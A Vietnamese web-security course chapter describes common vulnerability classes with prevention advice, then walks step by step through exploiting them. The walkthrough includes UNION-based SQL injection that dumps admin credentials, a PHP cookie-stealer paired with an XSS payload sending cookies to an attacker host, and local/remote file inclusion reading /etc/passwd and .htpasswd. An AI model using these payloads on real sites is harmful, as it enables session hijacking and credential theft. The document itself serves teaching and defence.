ATT Ứng dụng Web - PHẦN 2: NGUY CƠ AN TOÀN THÔNG TIN HỆ THỐNG ỨNG DỤNG WEB

PHẦN 2: NGUY CƠ AN TOÀN THÔNG TIN HỆ THỐNG ỨNG DỤNG WEB


I.  

1.   Các loại lỗ hổng ứng dụng web

  1.  Lỗi SQL Injection

  • Nguy cơ: Khi truy vấn tới cơ sử dữ liệu lập trình viên thường sử dụng cách cộng xâu Input từ người dùng, các câu truy vấn này có thể bị mắc lỗi SQL Injection hoặc HQL Injection (nếu sử dụng Hibernate). Bằng việc lợi dụng các lỗi này, kẻ tấn công có thể xem, thêm, sửa, xóa dữ liệu trong database từ đó chiếm được tài khoản admin, lấy cắp thông tin người dùng...

  • Mô tả tình huống: Ứng dụng sử dụng mã độc khi xây dựng truy vấn SQL sau:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";

  • Kẻ tấn công có thể thay thế tham số ‘id’ trong trình duyệt để gửi đến: ‘ or ‘1’=’1. Việc này thay đổi nghĩa của câu truy vấn và trả ra giá trị của tất cả các tài khoản trong cơ sở dữ liệu thay vì chỉ của 1 nhân viên mà thôi.

http://example.com/app/accountView?id=' or '1'='1

  • Trong trường hợp xấu nhất, kẻ tấn công có thể sử dụng điểm yếu này để thực thi những thủ tục lưu trữ trong cơ sở dữ liệu và giúp chiếm quyền điều khiển cơ sở dữ liệu hoặc toàn bộ máy chủ.

  • Ví dụ:

Hình 19: Tấn công SQL Injection

  • 1. Cho ứng dụng Web với form đăng nhập.

  • 2. Kẻ tấn công sẽ gửi dữ liệu tấn công trong phần dữ liệu của form

  • 3. Ứng dụng chuyển tấn công này đến cơ sở dữ liệu thông qua câu lệnh SQL.

  • 4. Cơ sở dữ liệu chạy câu truy vấn có chứa tấn công, mã hóa và gửi ngược lại cho ứng dụng.

  • 5. Ứng dụng giải mã và gửi kết quả trả về cho kẻ tấn công

  • Phương pháp phòng chống: Nếu sử dụng cậu lệnh SQL động thì không nên thực hiện truyền trực tiếp các tham số động. Sử dụng một lớp giao tiếp an toàn cho các tham số. Có thể sử dụng prepared statements hoặc thủ tục lưu trữ. 

  • Mã hóa tất cả nhập liệu người sử dụng trước khi chuyển nó đến giao tiếp xử lý. Kiểm tra dữ liệu đầu vào hợp lệ bằng các từ điển tiêu chuẩn phù hợp. Đây vẫn chưa phải là cách phòng thủ an toàn nhất vì nhiều ứng dụng sử dụng những ký tự đặc biệt trong các thông tin đầu vào.

  • Kết nối đến cơ sở dữ liệu với quyền thấp nhất nhằm giảm ảnh hưởng trong trường hợp nếu bị thỏa hiệp.

    1. Thực thi mã script độc (Cross-site-scripting)

  • Nguy cơ: Kết quả server trả về cho người dùng chủ yếu là dưới dạng HTML. Nội dung trả về thường bao gồm cả những giá trị mà người dùng nhập vào hệ thống có thể bị mắc lỗi XSS nếu không kiểm soát dữ liệu đầu vào. XSS (Cross-Site Scripting) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.

  • Ví dụ: Ứng dụng sử dụng những dữ liệu thiếu an toàn trong việc xây dựng đoạn HTML dưới đây mà không xác thực hay loại bỏ kí tự đặc biệt.

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";

  • Kẻ tấn công có thể thay đổi tham số ‘CC’ trong trình duyệt thành:

'><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo=
'+document.cookie</script>'.

  • Điều này làm cho ID phiên làm việc của nạn nhân bị gửi đến trang web của kẻ tấn công, có thể ăn cắp phiên làm việc đó. Hãy lưu ý rằng kẻ tấn công cũng có thể lợi dụng XSS để phá bất cứ chức năng tự động phòng thủ CSRF nào của trang web.

  • Phương pháp phòng chống: Loại bỏ những ký tự đặc biệt một cách cẩn thận dựa trên nội dung bối cảnh HTML (phần thân, các thuộc tính, Javascript, CSS, URL) mà dữ liệu sẽ xuất hiện.

  • Xác thực dữ liệu đầu vào hợp lệ qua “danh sách trắng – white list” cũng được khuyến khích nhưng đây không phải là một cách phòng thủ toàn diện bởi vì nhiều ứng dụng yêu cầu những kí tự đặc biệt. Nên giải mã bất cứ kí tự mã hóa nào và xác thực độ dài, các kí tự, và định dạng của dữ liệu trước khi cho phép sử dụng dữ liệu đầu vào đó.

    1. Sai sót trong kiểm tra cơ chế định danh

  • Nguy cơ: Lỗi trong cơ chế chứng thực và quản lý phiên làm việc cho phép kẻ tấn công lợi dụng, khai thác lỗ hổng này nhằm đăng nhập không cần tài khoản, thực thi các chức năng không cho phép

  • Ví dụ:

  • Kịch bản 1: Ứng dụng đặt vé máy bay cho phép viết lại URL, đặt id phiên làm việc trong URL:

http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

  • Một người dùng muốn cho bạn của anh ta biết về việc bán vé. Anh ta email liên kết trên mà không biết anh ta đang gửi id phiên làm việc của mình. Người bạn của anh ta sử dụng liên kết đó có thể sử dụng phiên làm việc và cả thẻ tín dụng.

  • Kịch bản 2: Thời gian chờ của ứng dụng không được chỉnh phù hợp: Người dung sử dụng một máy công cộng để truy cập vào trang web. Thay vì chọn “đăng xuất” anh ta chỉ đóng trình duyệt và đi. Một người khác sử dụng cùng trình duyệt đó vài giờ sau vẫn có thể sử dụng phiên làm việc đó.

  • Kịch bản 3: Người nội bộ hoặc kẻ tấn công có quyền truy cập đến cơ sở dữ liệu lưu trữ password. Password không được mã hóa cho phép kẻ tấn công ăn cắp được những tài khoản đó.

Hình 20: Sai sót trong kiểm tra định danh trên URL

    1. Sử dụng đối tượng tham chiếu không an toàn

  • Nguy cơ: Sử dụng các đối tượng, đầu vào không an toàn từ người dùng, không kiểm tra quyền của người dùng, cho phép kẻ tấn công thực hiện chức năng nhiều hơn quyền thực tế đã cấp.

  • Ví dụ: Ứng dụng sử dụng dữ liệu chưa được kiểm tra trong một truy vấn SQL truy cập đến thông tin tài khoản:

String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); 

pstmt.setString( 1, request.getparameter("acct"));

ResultSet results = pstmt.executeQuery( );

  • Kẻ tấn công có thể dễ dàng thay đổi tham số ‘acct’ trong trình duyệt để xem bất cứ thông tin tài khoản nào. Nếu không kiểm định kẻ tấn công có thể lợi dụng để ăn cắp tài khoản của bất kì ai thay vì chỉ được truy cập vào một số tài khoản nhất định.

http://example.com/app/accountInfo?acct=notmyacct

Hình 21: Ví dụ minh họa sử dụng đối tượng không an toàn

  • Kẻ tấn có thể nhận biết được tham số tài khoản của chúng là 6065 ?acct=6065

  • Chúng thay đổi nó thành một số khác ?acct=6066

  • Ứng dụng bị lỗi kẻ tấn công có thể coi được thông tin tài khoản của người bị hại.

  • Phương pháp phòng chống: Sử dụng mỗi liên kết đối tượng cho từng người dùng hoặc phiên làm việc. Việc này có thể ngăn chặn kẻ tấn công nhắm đến các dữ liệu không được bảo vệ. Ví dụ, thay vì sử dụng khóa cơ sở dữ liệu, một danh sách cho phép lựa chọn có thể được đánh số từ 1 đến 6 để xác định lựa chọn nào người dùng muốn truy cập. Ứng dụng sau đó sẽ phải biến đổi từ tham biến gián tiếp đến khóa.

  • Kiểm tra truy cập. Đối với mỗi tham chiếu trực tiếp từ một nguồn không xác thực phải được kiểm tra điều khiển để chắc chắn rằng người dùng được quyền truy cập đến đối tượng yêu cầu.

    1. Giả mạo yêu cầu - Cross Site Request Forgery (CSRF)

  • Nguy cơ: CSRF (Cross-site request forgery) là phương pháp mượn quyền của người dùng khác để thực hiện một hành động không cho phép. Ví dụ: Để có thể xóa một bài viết trên diễn đàn một member có thể mượn tay của một admin để làm việc đó vì member không đủ chủ quyền nhưng admin lại đủ chủ quyền để thực hiện hành động này. Kẻ tấn công lừa admin truy cập vào trang web có chứa đoạn mã xóa bài viết trên diễn đàn (Admin đang đăng nhập vào diễn đàn) như vậy admin đã gửi yêu cầu xóa bài viết trên diễn đàn mà không hề biết.

  • Ví dụ: Ứng dụng cho phép người dùng gửi đi những yêu cầu thay đổi trạng thái mà không có những giá trị bí mật. Như là:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

  • Như thế kẻ tấn công có thể tạo ra những yêu cầu gửi tiền từ tài khoản của nạn nhân dến tải khoản của chúng và kèm chúng trong những thẻ hình ảnh hoặc iframe và đưa chúng lên mạng qua các website mà kẻ tấn công điều khiển.

<img src="http://example.com/app/transferFunds?  amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />

  • Nếu nạn nhân truy cập vào bất cứ trang web nào trong khi đang có phiên làm việc tại example.com yêu cầu giả mạo này được thực thi thành công.

Hình 22: Tấn công CSRF

  • Phương pháp phòng chống: Ngăn chặn CSRF yêu cầu những giá trị không đoán được trong thân của URL hoặc yêu cầu HTTP. Những giá trị đó nên ở mức tối thiểu là riêng biệt cho từng phiên làm việc của người dùng, nhưng cũng có thể riêng biệt từng yêu cầu.

  • Khuyến khích thêm vào những giá trị riêng biệt trong một trường ẩn. Nó giúp giá trị đó được gửi đi trong yêu cầu HTTP, tránh việc phải thêm nó vào trong URL

  • Những giá trị riêng biệt đó có thể được thêm vào qua URL hoặc tham số của URL. Tuy nhiên những tham số như vậy có những rủi ro như việc làm cho kẻ tấn công biết và tìm cách qua mặt.

    1. Sai sót trong cấu hình an ninh

  • Nguy cơ: Sai sót trong cấu hình an ninh cho phép kẻ tấn công dễ dàng chiếm được tài khoản quản trị, quyền quản trị hệ thống từ đó chiếm quyền điều kiển máy chủ.

  • Ví dụ:

  • Kịch bản 1: Một bản vá được phát hành nhưng bạn đã bỏ qua. Kẻ tấn công có thể lợi dụng lỗi đó bất cứ lúc nào nếu bạn còn chưa cập nhật.

  • Kịch bản 2:Giao diện điều khiển máy chủ của quản trị viên được tự động cài đặt và không được gỡ bỏ. Tài khoản mặc định chưa được thay đổi. Kẻ tấn công phát hiện đăng nhập với tài khoản mặc định và chiếm quyền điều khiển hệ thống.

  • Kịch bản 3:Chức năng liệt kê thư mục chưa được vô hiệu hóa, kẻ tấn công phát hiện và có thể liệt kê các tập tin trong thư mục và tìm tập tin. Ví dụ những tập tin Java class của bạn, kẻ tấn công dịch ngược về mã nguồn và tìm ra những lỗ hổng nghiêm trọng trong đó.

  • Phương pháp phòng chống: Một tiến trình bảo mật có thể dễ dàng lặp lại giúp cho việc triển khai trên môi trường khác nhanh chóng và dễ dàng, nên được thiết lập giống nhau, nên được tự động để giảm thiểu công sức thiết lập một môi trường mới an toàn.

  • Một tiến trình cho việc cập nhật và triển khai tất cả những bản nâng cấp và bản vá của phần mềm một cách định kỳ đối với mỗi môi trường được triển khai. Nó cũng bao gồm luôn những thư viện chương trình thường bị bỏ qua.

  • Một kiến trúc ứng dụng vững chắc có thể phân tách và bảo vệ các thành phần riêng biệt.

  • Xem xét việc chạy chương trình quét và kiểm tra định kì để phát hiện những cấu hình sai hoặc những bản vá thiếu.

    1. Lưu trữ mật mã không an toàn

  • Nguy cơ: Khi hệ thống bị tấn công và kẻ tấn công lấy được thông tin trong cơ sở dữ liệu, các dữ liệu nhạy cảm sẽ bị lộ nếu không được mã hóa hoặc mã hóa không an toàn.

  • Ví dụ:

  • Kịch bản 1: Mã hóa thẻ tín dụng trong cơ sở dữ liệu được sử dụng để ngăn chặn việc thông tin bị lộ ra với người sử dụng. Tuy nhiên, cơ sở dữ liệu lại được thiết lập để tự động giải mã các truy vấn đối với cột lưu thẻ tín dụng,điều này cho phép kiểu tấn công SQL Injection thu thập được thông tin thẻ tín dụng ở dạng không mã hóa. Thực chất hệ thống này cần phải được thiết lập sao cho những thông tin chỉ được giải mã ở những ứng dụng phía trong, không phải từ những ứng dụng web bên ngoài.

  • Kịch bản 2: Một cơ sở dữ liệu về mật khẩu sử dụng unsalted hashes để lưu trữ mật khẩu của mọi người. Một lỗi tải file đã được tận dụng bởi tin tặc để lấy các tập tin mật khẩu. Tất cả unsalted hashes bị giải mã chỉ trong vòng 4 tuần, trong khi đối với những hashes nếu được tạo ra đúng cách (with salt) việc giải mã sẽ phải mất hơn 3000 năm

Hình 23: Lưu trữ mật mã không an toàn

  • Phương pháp phòng chống: Xem xét các nguy cơ đe dọa tới sự bảo mật của các dữ liệu (ví dụ: tấn công từ bên trong, người sử dụng bên ngoài), chắc chắn bạn mã hóa tất cả dữ liệu còn lại ở trạng thái lưu trữ theo cách thức để bảo vệ chống lại các mối đe dọa này.

  • Các bản sao lưu trữ offsite cũng được mã hóa, chìa khóa của các bản sao lưu này phải được quản lý và sao lưu riêng biệt.

  • Đảm bảo các thuật toán mạnh theo tiêu chuẩn và các khóa mã mạnh được sử dụng, việc quản lý các khóa mã này cũng cần được lưu tâm.

  • Đảm bảo mật khẩu được băm theo tiêu chuẩn của một thuật toán mạnh và có độ phức tạp nhất định.

  • Đảm bảo tất cả các khóa và mật khẩu được bảo vệ khỏi nhũng truy cập trái phép.

    1. Sai sót trong hạn chế truy cập

  • Nguy cơ: Kiểm soát hạn chế truy cập mắc lỗi, cho phép kẻ tấn công truy cập không cần có tài khoản, thông tin đăng nhập.

  • Ví dụ: Kẻ tấn công đơn giản nhắm mục tiêu vào các URL. Cả hai URL sau đây là đều yêu cầu chứng thực. Quyền quản trị cũng phải cần được cung cấp để truy cập vào trang "admin_getappInfo":

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

  • Nếu kẻ tấn công không được chứng thực mà vẫn có thể truy cập vào trang, thì đó gọi là truy cập trái phép đã được cho phép. Nếu một người sử dụng được chứng thực, nhưng lại không phải trong ban quản trị, vẫn truy cập được vào trang "admin_getappInfo", đây là một lỗ hỗng cho các kẻ tấn công truy cập vào các trang quản trị không được bảo vệ một cách đúng đắn. Những lỗ hổng như vậy thường được phát hiện ra khi xuất hiện các đường liên kết và nút bấm mà thông thường không được hiển thị cho người sử dụng bình thường, đó là khi ứng dụng đã thất bại trong việc bảo vệ trang web mà họ nhắm đến.

Hình 24: Sai sót trong hạn chế truy cập

  • Kẻ tấn công nhận diện URL như sau: /user/getAccounts

  • Kẻ tấn công thay đổi nó với một vài trò khác như sau: /admin/getAccounts, or /manager/getAccounts

  • Ứng dụng bị lỗi 🡪 kẻ tấn công có thể quan sát được những tài khoản quan trọng khác.

  • Phương pháp phòng chống: Tất cả các quy định về xác minh và chứng thực cần thiết dựa trên chức năng, để giảm thiểu các nỗ lực cần thiết để duy trì các quy định này.

  • Quy định nên có khả năng cấu hình cao, để giảm thiểu bất kỳ thiết lập cứng nào trong quy định.

  • Những cơ chế bắt buộc phải tuân theo nên từ chối tất cả các truy cập mặc định, yêu cầu xác minh rõ ràng cho từng người sử dụng và vai trò của người truy cập mỗi trang.

  • Nếu trang là một phần của một quy trình công việc, đảm bảo các điều kiện đang ở trạng thái thích hợp để cho phép truy cập

    1. Truyền trên kênh truyền không an toàn

  • Nguy cơ: Dữ liệu truyền trên kênh không an toàn, không mã hóa cho phép kẻ tấn công dễ dàng chặn bắt gói tin lấy được thông tin tài khoản, từ đó chiếm quyền điều khiển hệ thống.

  • Ví dụ:

  • Kịch bản 1: Một trang web không sử dụng SSL cho tất cả các trang yêu cầu xác thực.Kẻ tấn công chỉ đơn giản là theo dõi lưu lượng mạng, và quan sát cookie phiên làm việc session của một nạn nhân đã chứng thực. Sau đó kẻ tấn công sử dụng lại cookie này và chiếm phiên làm việc session của người sử dụng.

  • Kịch bản 2: Một trang web có chứng chỉ SSL được cấu hình không đúng, gây cảnh báo của trình duyệt cho người sử dụng. Người dùng phải chấp nhận cảnh báo đó và tiếp tục, để sử dụng trang web. Điều này làm cho người sử dụng quen với cảnh báo như vậy. Kẻ tấn cống Phishing thu hút khách hàng của trang web tới một trang web tương tự mà không có giấy chứng nhận hợp lệ, tạo ra cảnh báo tương tự ở trình duyệt. Vì nạn nhân đã quen với cảnh báo như vậy, họ tiếp tục sử dụng các trang web lừa đảo, và làm lộ mật khẩu hoặc các dữ liệu cá nhân khác.

  • Kịch bản 3: Một trang web đơn giản chỉ sử dụng tiêu chuẩn ODBC / JDBC cho các kết nối cơ sở dữ liệu. Tất cả lưu lượng ở định dạng không được mã hóa.

Hình 25: Dữ liệu truyền trên kênh không an toàn

  • Phương pháp phòng chống: Yêu cầu SSL cho tất cả các trang nhạy cảm. Những yêu cầu không qua SSL đến những trang này nên được chuyển hướng đến các trang SSL. Sử dụng thuộc tính “secure” cho các cookie nhạy cảm.

  • Cấu hình SSL chỉ hổ trợ những thuận toán mạnh. Đảm bảo chứng chỉ SSL hợp lệ, chưa quá hạn, không bị thu hồi và phù hợp với tên miền của trang web.

  • Các kết nối ở đầu cuối cũng nên sử dụng SSL hoặc các công nghệ mã hóa khác

    1. Chuyển hướng và chuyển tiếp thiếu thẩm tra

  • Ví dụ:

  • Kịch bản 1: Ứng dụng này có một trang gọi là "redirect.jsp" mà có một tham số duy nhất có tên là"url". Kẻ tấn công tạo một URL độc hại để hướng người dùng đến một trang web độc hại để thực hiện lừa đảo (phishing) và cài đặt các phần mềm độc hại http://www.example.com/redirect.jsp?url=evil.com

  • Kịch bản 2: Ứng dụng sử dụng chuyển tiếp (forward) để di chuyển yêu cầu (route request) giữa các bộ phận khác nhau của trang web. Để tạo điều kiện này, một số trang sử dụng một tham số để chỉ ra nơi người sử dụng phải được gửi nếu giao dịch thành công. Trong trường hợp này, kẻ tấn công tạo ra một URL sẽ vượt qua kiểm tra truy cập của ứng dụng và sau đó chuyển tiếp kẻ tấn công vào những chức năng quản trị bình thường không thể truy cập được. 

  • Phương pháp phòng chống: An toàn sử dụng các chuyển hướng và chuyển tiếp có thể được thực hiện trong một số cách sau đây :

  • Đơn giản chỉ cần tránh sử dụng chuyển hướng và chuyển tiếp.

  • Nếu sử dụng, tránh sử dụng tham số của người dùng cho việc xác định điểm đến. Điều này thường có thể thực hiện được.

  • Nếu việc sử dụng tham số cho điểm đến không thể tránh khỏi, đảm bảo giá trị của tham số là hợp lệ và đúng quyền của người dùng.

  • Tham số điểm đến nên là một “mapping value”, hơn là URL hoặc là một phần của URL thực, và chương trình ở phía máy chủ (server side code) sẻ dịch “this mapping” sang URL đích. Ứng dụng có thể sử dụng ESAPI để ghi đè lên method sendRedirect() để đảm bảo tất cả các chuyển hướng các điểm đến được an toàn. Tránh sai sót như vậy là cực kỳ quan trọng vì chúng là một mục tiêu ưa thích của những kẻ giả mạo cố gắng để có được lòng tin của người dùng.

2.  Phương pháp khai thác các lỗ hổng ứng dụng web 

  • Ở phần trên chúng ta đã có những hiểu biết cơ bản về lỗi an toàn thông tin trong phát triển ứng dụng web. Trong phần này chúng ta sẽ tìm hiểu về phương pháp khai thác một số lỗi an toàn thông tin cơ bản.

  1. Khai thác lỗi SQLinjection

  • Mục đích: Khai thác lỗ hổng SQLinjection của một ứng dụng cụ thể trên nền hệ quản trị cơ sở dữ liệu phổ biến. Ở đây tác giả lựa chọn:

  • Ứng dụng mắc lỗi: Basic PHP Events Lister 1.0

  • Hệ quản trị cơ sở dữ liệu: MySQL

  • Hướng dẫn: 

  • Đầu tiên với URL: 

http://vtis.com/phpevents/event.php?id=1

  • Thực hiện thêm dấu ' sau id=1. URL trở thành 

http://vtis.com/phpevents/event.php?id=1'

  • Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau:

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37

  • Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì?

  • Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau.

  • Xác định có bao nhiêu trường truy vấn với URL http://vtis.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường.

  • Lần lượt thử:

http://vtis.com/phpevents/event.php?id=1 order by 1

http://vtis.com/phpevents/event.php?id=1 order by 2

http://vtis.com/phpevents/event.php?id=1 order by 3

...

http://vtis.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK)

http://vtis.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)

  • Như vậy truy vấn SQL với URL trên là 15 trường (field). Đến đây có thể điều tra phiên bản SQL, user với lệnh sau:

http://vtis.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1

http://vtis.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1

  • Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như manager, admin, administrator, systemlogin, ... (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select ... nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau:

http://vtis.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)

http://vtis.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)

http://vtis.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

  • Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được. Có thể đoán tên trường trong bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau:

http://vtis.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)

http://vtis.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)

http://vtis.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

  • Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu:

http://vtis.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)

http://vtis.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)

http://vtis.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

  • Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với 2 trường uname và pword + tên bảng là admin. Thực hiện lệnh:

http://vtis.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.

  • Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://vtis.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass. Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword.

  • 0x3a---> dấu ":". Concat sẽ thực hiện cộng chuỗi

  • Đến đây ta đã có thông tin uname và pword. Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau:

Điều tra thông tin bảng:

http://vtis.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables

Điều tra thông tin trường:

http://vtis.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns

  • Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như:

http://vtis.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin

  • Nhận xét: Tương ứng với từng hệ quản trị cơ sỏ dữ liệu mà chúng ta sử dụng cấu trúc lệnh khác nhau. Cùng với đó là việc dựa vào thông báo lỗi để tạo ra câu truy vấn SQL tương ứng.

    1. Khai thác lỗ hổng Cross-Site-Scripting (XSS)

  • Mục đích: Giả sử có trang www.victim.com bị lỗi XSS. Ta sẽ tiến hành khai thác lỗi XSS lấy được cookie của người dùng, gửi giá trị cookie đó về một site tự dựng và ghi giá trị cookie nhận được vào file.

  • Kịch bản khai thác:

  • Bước 1: Dựng một site riêng cho mình có domain giả sử là my_domainname, tạo file stealer.php với nội dung như sau:

<?php

    $cookie = $_GET["cookie"];

    $steal = fopen("cookie.txt", "a");

    fwrite($steal, $cookie ."\n");

    fclose($steal);

?>

  • Dòng lệnh $cookie = $_GET["cookie"]; nhằm mục đích sẽ lấy giá trị cookie từ đường dẫn hiện tại lưu trữ vào biến $cookie, ví dụ, với đường dẫn là my_domainname/stealer.php?cookie=x, thì $cookie = x.

  • Dòng lệnh $steal = fopen("cookie.txt", "a"); sẽ tạo ra một file cookie.txt với chế độ chèn nội dùng vào đuôi của file nhằm mục đích ghi cookie lấy được.

  • Tiếp theo, hai lệnh fwrite($steal, $cookie ."\n");fclose($steal); để thực hiện chức năng ghi file và đóng file sau khi ghi xong.

  • Bước 2: Khai thác lỗ hổng XSS

  • Tiến hành chèn đoạn mã khai thác dưới đây vào biến bị lỗi XSS:

<script> location.href='http://my_domainname/stealer.php?cookie='%2bdocument.cookie; </script>

  • Giả sử trang www.victim.com bị XSS ở biến name thuộc file index.php, ta sẽ chèn đoạn mã trên như sau:

http://www.victim.com/index.php?name= <script> window.location.href='http://localhost:9999/xss/stealer.php?cookie='%2bdocument.cookie; </script>

  • Kết quả: Thu được Cookie lưu tại file cookie.txt ở trong cùng thư mục với file stealer.php.

    1. Khai thác lỗi Remote/Local File Inclusion

  • Mục đích: Khai thác lỗi Remote/Local File Inclusion của ứng dụng web.

  • Kịch bản khai thác:

<?php

      include("config.php");

?>

  • Đoạn mã trên sẽ chèn nội dung của file config.php. Và có thể thực hiện chèn nội dung động nếu cung cấp một biến như sau:

<?php

      include($page);

?>

  • Giả sử trường hợp register_global được thiết lập và lúc này chúng ta sẽ thực hiện chèn trên URL với đối số bất kỳ, khi đó đoạn mã sẽ thực hiện include file mà chúng ta chỉ định, nếu không tồn tại thì sẽ báo lỗi nhưng vẫn thực hiện script. Một hàm khác của PHP đó là require hoặc require_once cũng có tác dụng tương tự như include nhưng nếu xuất hiện lỗi thì script sẽ ngừng. Sự khác biệt giữa include_once và include hoặc require_once và require là ở chỗ require_once hay include_once là ngăn chặn việc include hay require 1 file mà nhiều lần.

  • Kiểm tra file robots.txt của website và thực hiện kiểm tra thử website đó với file robots.txt. Ví dụ www.example.com/page=robots.txt để xem cách ứng xử của server về câu truy vấn này.

  • Hướng dẫn: 

Null-Byte

if (isset($_GET['page']))

{

include($_GET['page'].".php");

}

  • Nếu thực hiện index.php?page=/etc/passwd thì khi chèn vào thì nó sẽ là /etc/passwd.php, không đúng như chúng ta mong muốn, do vậy để khai thác và ngắt phần “.php” sử dụng %00(Null Byte), lúc này URL sẽ là index.php?page=/etc/passwd%00. Cách khai thác này chỉ có tác dụng khi magic_quotes_gpc=Off

Remote File Include

  • Nếu trong cấu hình của file php.ini mà allow_url_open=On và allow_url_include=On thì có thể thực hiện gộp file từ xa và trong nội dung file từ xa này có thể chứa các mã độc. Ví dụ

Local File Inclusion

  • Trường hợp mà allow_url_fopen =Off thì chúng ta không thể khai thác thông qua url từ xa, lúc này khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf, .htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào.

  • Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập và đọc được file này.

  • Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập

  • httpd.conf: Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName, DocumentRoot, …

  • htaccess và .htpasswd: Giả sử có một thư mục admin được bảo vệ bởi htaccess thì chúng ta không thể truy cập được các file .htaccess và .htpasswd trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về username và password được thiết đặt ở trong những file này.

  • Khai thác cục bộ: Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng một server với example1.com thì có thể khai thác site example1.com này thông qua như sau:

http://www.example1.com/index.php?page=/home/example2/public_html/images/php.jpg

  • Khai thác sử dụng Log Files: Giả sử ta truyền vào:

http://www.example1.com/index.php?page=<? echo phpinfo(); ?>

